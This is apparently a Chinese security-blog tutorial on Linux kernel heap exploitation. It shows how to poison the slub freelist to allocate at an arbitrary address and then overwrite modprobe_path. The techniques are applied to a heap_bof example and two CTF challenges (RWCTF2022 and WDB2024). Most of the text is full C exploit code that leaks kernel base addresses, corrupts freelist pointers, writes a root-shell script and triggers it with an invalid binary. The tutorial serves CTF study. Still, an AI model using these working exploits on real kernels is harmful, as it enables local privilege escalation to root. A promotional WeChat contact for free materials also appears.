Linux kernel 堆溢位利用方法（三）

蚁景网安实验室發表於2024-11-27
Linux

前言

本文我們透過我們的老朋友heap_bof來講解Linux kernel中任意地址申請的其中一種比賽比較常用的利用手法modprobe_path（雖然在高版本核心已經不可用了但ctf比賽還是比較常用的）。再透過兩道近期比賽的賽題來講解。

Arbitrary Address Allocation

利用思路

透過 uaf 修改 object 的 free list 指標實現任意地址分配。與 glibc 不同的是，核心的 slub 堆管理器缺少檢查，因此對要分配的目標地址要求不高，不過有一點需要注意：當我們分配到目標地址時會把目標地址前 8 位元組的資料會被寫入 freelist，而這通常並非一個有效的地址，從而導致 kernel panic，因此在任意地址分配時最好確保目標 object 的 free list 欄位為 NULL 。

當能夠任意地址分配的時候，與 glibc 改 hook 類似，在核心中通常修改的是 modprobe_path 。modprobe_path 是核心中的一個變數，其值為 /sbin/modprobe ，因此對於缺少符號的核心檔案可以透過搜尋 /sbin/modprobe 字串的方式定位這個變數。

當我們嘗試去執行（execve）一個非法的檔案（file magic not found），核心會經歷如下呼叫鏈：

entry_SYSCALL_64()
    sys_execve()
        do_execve()
            do_execveat_common()
                bprm_execve()
                    exec_binprm()
                        search_binary_handler()
                            __request_module() // wrapped as request_module
                                call_modprobe()

其中 call_modprobe() 定義於 kernel/kmod.c，我們主要關注這部分程式碼：

static int call_modprobe(char *module_name, int wait)
{
    //...
    argv[0] = modprobe_path;
    argv[1] = "-q";
    argv[2] = "--";
    argv[3] = module_name;  /* check free_modprobe_argv() */
    argv[4] = NULL;
​
    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
                     NULL, free_modprobe_argv, NULL);
    if (!info)
        goto free_module_name;
​
    return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
    //...

在這裡呼叫了函式 call_usermodehelper_exec() 將 modprobe_path 作為可執行檔案路徑以 root 許可權將其執行。 我們不難想到的是：若是我們能夠劫持 modprobe_path，將其改寫為我們指定的惡意指令碼的路徑，隨後我們再執行一個非法檔案，核心將會以 root 許可權執行我們的惡意指令碼。

或者分析vmlinux即可(對於一些沒有call_modprobe()符號的直接交叉引用即可)。

__int64 _request_module(
        char a1,
        __int64 a2,
        double a3,
        double a4,
        double a5,
        double a6,
        double a7,
        double a8,
        double a9,
        double a10,
        ...)
{
......
    if ( v19 )
    {
......
      v21 = call_usermodehelper_setup(
              (__int64)&byte_FFFFFFFF82444700, // modprobe_path
              (__int64)v18,
              (__int64)&off_FFFFFFFF82444620,
              3264,
              0LL,
              (__int64)free_modprobe_argv,
              0LL);
......
}
.data:FFFFFFFF82444700 byte_FFFFFFFF82444700             ; DATA XREF: __request_module:loc_FFFFFFFF8108C6D8↑r
.data:FFFFFFFF82444700                 db 2Fh  ; /       ; __request_module+14B↑o ...                       
.data:FFFFFFFF82444701                 db  73h ; s
.data:FFFFFFFF82444702                 db  62h ; b
.data:FFFFFFFF82444703                 db  69h ; i
.data:FFFFFFFF82444704                 db  6Eh ; n
.data:FFFFFFFF82444705                 db  2Fh ; /
.data:FFFFFFFF82444706                 db  6Dh ; m
.data:FFFFFFFF82444707                 db  6Fh ; o
.data:FFFFFFFF82444708                 db  64h ; d
.data:FFFFFFFF82444709                 db  70h ; p
.data:FFFFFFFF8244470A                 db  72h ; r
.data:FFFFFFFF8244470B                 db  6Fh ; o
.data:FFFFFFFF8244470C                 db  62h ; b
.data:FFFFFFFF8244470D                 db  65h ; e
.data:FFFFFFFF8244470E                 db    0

exp

#include "src/pwn_helper.h"
​
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_WRITE 8
#define BOF_READ 9
​
size_t modprobe_path = 0xFFFFFFFF81E48140;
size_t seq_ops_start = 0xffffffff81228d90;
​
struct param {
    size_t len;
    size_t *buf;
    long long idx;
};
​
void alloc_buf(int fd, struct param* p)
{
    printf("[+] kmalloc len:%lu idx:%lld\n", p->len, p->idx);
    ioctl(fd, BOF_MALLOC, p);
}
​
void free_buf(int fd, struct param* p)
{
    printf("[+] kfree len:%lu idx:%lld\n", p->len, p->idx);
    ioctl(fd, BOF_FREE, p);
}
​
void read_buf(int fd, struct param* p)
{
    printf("[+] copy_to_user len:%lu idx:%lld\n", p->len, p->idx);
    ioctl(fd, BOF_READ, p);
}
​
void write_buf(int fd, struct param* p)
{
    printf("[+] copy_from_user len:%lu idx:%lld\n", p->len, p->idx);
    ioctl(fd, BOF_WRITE, p);
}
​
int main()
{
    // len buf idx
    size_t* buf = malloc(0x500);
    struct param p = {0x20, buf, 0};
​
    printf("[+] user_buf : %p\n", p.buf);
    int bof_fd = open("/dev/bof", O_RDWR);
    if (bof_fd < 0) {
        puts(RED "[-] Failed to open bof." NONE);
        exit(-1);
    }
​
    printf(YELLOW "[*] try to leak kbase\n" NONE);
​
    alloc_buf(bof_fd, &p);
    free_buf(bof_fd, &p);
​
    int seq_fd = open("/proc/self/stat", O_RDONLY);
    read_buf(bof_fd, &p);
    qword_dump("leak seq_ops", buf, 0x20);
​
    size_t kernel_offset = buf[0] - seq_ops_start;
    printf(YELLOW "[*] kernel_offset %p\n" NONE, (void*)kernel_offset);
    modprobe_path += kernel_offset;
    printf(LIGHT_BLUE "[*] modprobe_path addr : %p\n" NONE, (void*)modprobe_path);
    
    p.len = 0xa8;
    alloc_buf(bof_fd, &p);
    free_buf(bof_fd, &p);
​
    read_buf(bof_fd, &p);
​
    buf[0] = modprobe_path - 0x20;
​
    write_buf(bof_fd, &p);
​
    alloc_buf(bof_fd, &p);
    alloc_buf(bof_fd, &p);
​
    read_buf(bof_fd, &p);
    qword_dump("leak modprobe_path", buf, 0x30);
​
    strcpy((char *) &buf[4], "/tmp/shell.sh\x00");
    write_buf(bof_fd, &p);
    read_buf(bof_fd, &p);
    qword_dump("leak modprobe_path", buf, 0x30);
​
    if (open("/shell.sh", O_RDWR) < 0) {
        system("echo '#!/bin/sh' >> /tmp/shell.sh");
        system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /tmp/shell.sh");
        system("chmod +x /tmp/shell.sh");
    }
​
    system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
    system("chmod +x /tmp/fake");
    system("/tmp/fake");
​
    return 0;
}

image-20241119184121356

【----幫助網安學習，以下所有學習資料免費領！加vx：dctintin，備註 “部落格園” 獲取！】

　① 網安學習成長路徑思維導圖
　② 60+網安經典常用工具包
　③ 100+SRC漏洞分析報告
　④ 150+網安攻防實戰技術電子書
　⑤ 最權威CISSP 認證考試指南+題庫
　⑥ 超1800頁CTF實戰技巧手冊
　⑦ 最新網安大廠面試題合集（含答案）
　⑧ APP客戶端安全檢測指南（安卓+IOS）

RWCTF2022 Digging into kernel 1 & 2

題目分析

start.sh

#!/bin/sh
​
qemu-system-x86_64 \
    -kernel bzImage \
    -initrd rootfs.img \
    -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet noapic kalsr" \
    -cpu kvm64,+smep,+smap \
    -monitor null \
    --nographic \
    -s

逆向分析

int __cdecl xkmod_init()
{
  kmem_cache *v0; // rax
​
  printk(&unk_1E4);
  misc_register(&xkmod_device);
  v0 = (kmem_cache *)kmem_cache_create("lalala", 192LL, 0LL, 0LL, 0LL);
  buf = 0LL;
  s = v0;
  return 0;
}
int __fastcall xkmod_release(inode *inode, file *file)
{
  return kmem_cache_free(s, buf); // maybe double free
}
void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 data; // [rsp+0h] [rbp-20h] BYREF
  unsigned int idx; // [rsp+8h] [rbp-18h]
  unsigned int size; // [rsp+Ch] [rbp-14h]
  unsigned __int64 v6; // [rsp+10h] [rbp-10h]
                                                // v3 __ : 0x8 rsp + 0x0
                                                // v4 __ : 0x4 rsp + 0x8
                                                // v5 __ : 0x4 rsp + 0xc
  v6 = __readgsqword(0x28u);
  if ( a3 )
  {
    copy_from_user(&data, a3, 0x10LL);
    if ( a2 == 0x6666666 )
    {
      if ( buf && size <= 0x50 && idx <= 0x70 )
      {
        copy_from_user((char *)buf + (int)idx, data, (int)size);
        return;
      }
    }
    else
    {
      if ( a2 != 0x7777777 )
      {
        if ( a2 == 0x1111111 )
          buf = (void *)kmem_cache_alloc(s, 0xCC0LL);
        return;
      }
      if ( buf && size <= 0x50 && idx <= 0x70 )
      {
        ((void (__fastcall *)(__int64, char *, int))copy_to_user)(data, (char *)buf + (int)idx, size);
        return;
      }
    }
    xkmod_ioctl_cold();
  }
}

利用思路

關於核心基址獲取，在核心堆基址（page_offset_base） + 0x9d000 處存放著 secondary_startup_64 函式的地址，而我們可以從 free object 的 next 指標獲得一個堆上地址，從而去找堆的基址，之後分配到一個堆基址 + 0x9d000 處的 object 以洩露核心基址，這個地址前面剛好有一片為 NULL 的區域方便我們分配。

#define __PAGE_OFFSET           page_offset_base
#define PAGE_OFFSET     ((unsigned long)__PAGE_OFFSET)
#define __va(x)         ((void *)((unsigned long)(x)+PAGE_OFFSET))
​
    /* Must be perfomed *after* relocation. */
    trampoline_header = (struct trampoline_header *)
        __va(real_mode_header->trampoline_header);
    ...
    trampoline_header->start = (u64) secondary_startup_64;
[......]
// vmlinux 查詢 secondary_startup_64 基址
.text:FFFFFFFF81000030 ; void secondary_startup_64()
[......]
pwndbg>x/40gx (0xffff9f5d40000000+0x9d000-0x20
0xffff9f5d4009cfe0: 0X0000000000000000 0X0000000000000000
0xffff9f5d4009cff0: 0X0000000000000000 0X0000000005c0c067
0xffff9f5d4009d000: 0xffffffff97c00030 0X0000000000000901
0xffff9f5d4009d010: 0X00000000000006b0 0X0000000000000000
0xffff9f5d4009d020: 0X0000000000000000 0X0000000000000000

至於 page_offset_base 可以透過 object 上的 free list 洩露的堆地址與上 0xFFFFFFFFF0000000 獲取。不同版本可檢視vmmap。

exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
​
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>
​
size_t modprobe_path = 0xFFFFFFFF82444700;
​
void qword_dump(char *desc, void *addr, int len)
{
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}
​
struct Data {
    size_t *buf;
    u_int32_t offset;
    u_int32_t size;
};
​
void alloc_buf(int fd, struct Data *data)
{
    ioctl(fd, 0x1111111, data);
}
​
void write_buf(int fd, struct Data *data)
{
    ioctl(fd, 0x6666666, data);
}
​
void read_buf(int fd, struct Data *data)
{
    ioctl(fd, 0x7777777, data);
}
​
int main()
{
    int xkmod_fd[5];
    for (int i = 0; i < 5; i++) {
        xkmod_fd[i] = open("/dev/xkmod", O_RDONLY);
        if (xkmod_fd[i] < 0) {
            printf("[-] %d Failed to open xkmod.", i);
            exit(-1);
        }
    }
​
    struct Data data = {malloc(0x1000), 0, 0x50};
    alloc_buf(xkmod_fd[0], &data);
    close(xkmod_fd[0]);
​
    read_buf(xkmod_fd[1], &data);
    qword_dump("buf", data.buf, 0x50);
​
    size_t page_offset_base = data.buf[0] & 0xFFFFFFFFF0000000;
    printf("[+] page_offset_base: %p\n", page_offset_base);
​
    data.buf[0] = page_offset_base + 0x9d000 - 0x10;
    write_buf(xkmod_fd[1], &data);
    alloc_buf(xkmod_fd[1], &data);
    alloc_buf(xkmod_fd[1], &data);
​
    data.size = 0x50;
    read_buf(xkmod_fd[1], &data);
    qword_dump("buf", data.buf, 0x50);
    
    size_t kernel_offset = data.buf[2] - 0xffffffff81000030;
    printf("kernel offset: %p\n", kernel_offset);
    modprobe_path += kernel_offset;
​
    close(xkmod_fd[1]);
    data.buf[0] = modprobe_path - 0x10;
    write_buf(xkmod_fd[2], &data);
    alloc_buf(xkmod_fd[2], &data);
    alloc_buf(xkmod_fd[2], &data);
    strcpy((char *) &data.buf[2], "/home/shell.sh");
    write_buf(xkmod_fd[2], &data);
​
    if (open("/home/shell.sh", O_RDWR) < 0) {
        system("echo '#!/bin/sh' >> /home/shell.sh");
        system("echo 'setsid cttyhack setuidgid 0 sh' >> /home/shell.sh");
        system("chmod +x /home/shell.sh");
    }
​
    system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
    system("chmod +x /home/fake");
    system("/home/fake");
​
    return 0;
}

WDB2024 PWN03

利用思路

基本上和RWCTF2022 Digging into kernel 1 & 2是一樣的，這道題大家拿去練手即可，建議大家自行分析題目，我只把我的exp貼在下面，但是建議大家自己寫一個exp。

exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
​
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>
​
size_t modprobe_path = 0xFFFFFFFF81E58B80;
​
void qword_dump(char *desc, void *addr, int len)
{
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}
​
void alloc_buf(int fd, int size)
{
    printf("[+] kmalloc %d\n", size);
    ioctl(fd, 0x0, size);
}
​
void free_buf(int fd)
{
    printf("[+] kfree\n");
    ioctl(fd, 0x1, 0);
}
​
void read_buf(int fd, size_t* buf, int size)
{
    printf("[+] copy_to_user %d\n", size);
    read(fd, buf, size);
    qword_dump("read_buf", buf, size);
}
​
void write_buf(int fd, size_t* buf, int size)
{
    printf("[+] copy_from_user %d\n", size);
    qword_dump("write_buf", buf, size);
    write(fd, buf, size);
}
​
int main()
{
    size_t* buf = malloc(0x500);
    int easy_fd;
    easy_fd = open("/dev/easy", O_RDWR);
​
    alloc_buf(easy_fd, 0xa8);
    free_buf(easy_fd);
​
    read_buf(easy_fd, buf, 0xa8);
​
    size_t page_offset_base = buf[0] & 0xFFFFFFFFF0000000;
    printf("[*] page_offset_base %p\n", page_offset_base);
​
    buf[0] = page_offset_base + 0x9d000 - 0x10;
    write_buf(easy_fd, buf, 0x8);
    
    alloc_buf(easy_fd, 0xa8);
    alloc_buf(easy_fd, 0xa8);
​
    read_buf(easy_fd, buf, 0xa8);
    
    size_t kernel_offset = buf[2] - 0xFFFFFFFF81000110;
    printf("[*] kernel offset: %p\n", kernel_offset);
    modprobe_path += kernel_offset;
​
    buf[0] = modprobe_path - 0x20;
    alloc_buf(easy_fd, 0xa8);
    free_buf(easy_fd);
​
    write_buf(easy_fd, buf, 0x8);
    alloc_buf(easy_fd, 0xa8);
    alloc_buf(easy_fd, 0xa8);
​
    read_buf(easy_fd, buf, 0x20);
    strcpy((char *) &buf[4], "/shell.sh\x00");
    write_buf(easy_fd, buf, 0x30);
​
    if (open("/shell.sh", O_RDWR) < 0) {
        system("echo '#!/bin/sh' >> /shell.sh");
        system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /shell.sh");
        system("chmod +x /shell.sh");
    }
​
    system("echo -e '\\xff\\xff\\xff\\xff' > /fake");
    system("chmod +x /fake");
    system("/fake");
​
    return 0;
}

更多網安技能的線上實操練習，請點選這裡>>

相關文章